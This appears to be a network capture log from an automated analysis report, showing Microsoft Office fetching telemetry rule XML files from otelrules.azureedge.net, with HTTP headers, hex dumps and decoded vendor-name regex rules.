3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49779	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:12 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:12 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230212Z-16547b76f7f6nr89hC1DFWz7ug00000002qg00000000ttay x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:12 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49780	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:12 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:12 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:12 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230212Z-16547b76f7fgfpmjhC1DFWw6ec00000005t00000000131cx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:12 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49787	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:13 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:13 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 781161bc-801e-0048-1aef-39f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230213Z-16547b76f7fkz9l7hC1DFW35uc00000003f000000000qden x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:13 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49788	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:13 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:13 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230213Z-16547b76f7fkz9l7hC1DFW35uc00000003kg000000007r1q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:13 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49786	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:13 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 6cd7b429-001e-0034-76a2-37dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230213Z-164f84587bfmxxfphC1DFW3au800000004v000000000uc8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49785	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:13 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: dc576d04-601e-003d-79ef-396f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230213Z-16547b76f7fl5zvnhC1DFWtk9g00000004y0000000006udg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49784	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:13 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230213Z-16547b76f7fpdsp9hC1DFW8f5000000003z000000000tsez x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:13 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49789	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: adb9bc2d-c01e-007a-4c7f-38b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230214Z-r18f44ddb69kljqthC1DFWc7dn00000000cg000000002tz1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:14 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49791	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230214Z-16547b76f7f5b5tthC1DFWuk84000000053000000000cdg6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:14 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49790	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: a09399d2-801e-0015-5284-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230214Z-164f84587bfn7ppchC1DFW45b400000000y0000000003y43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49792	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230214Z-16547b76f7f9s8x7hC1DFWywrg000000065000000000uucc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49793	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:14 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230214Z-16547b76f7f6nr89hC1DFWz7ug00000002v0000000005u7h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
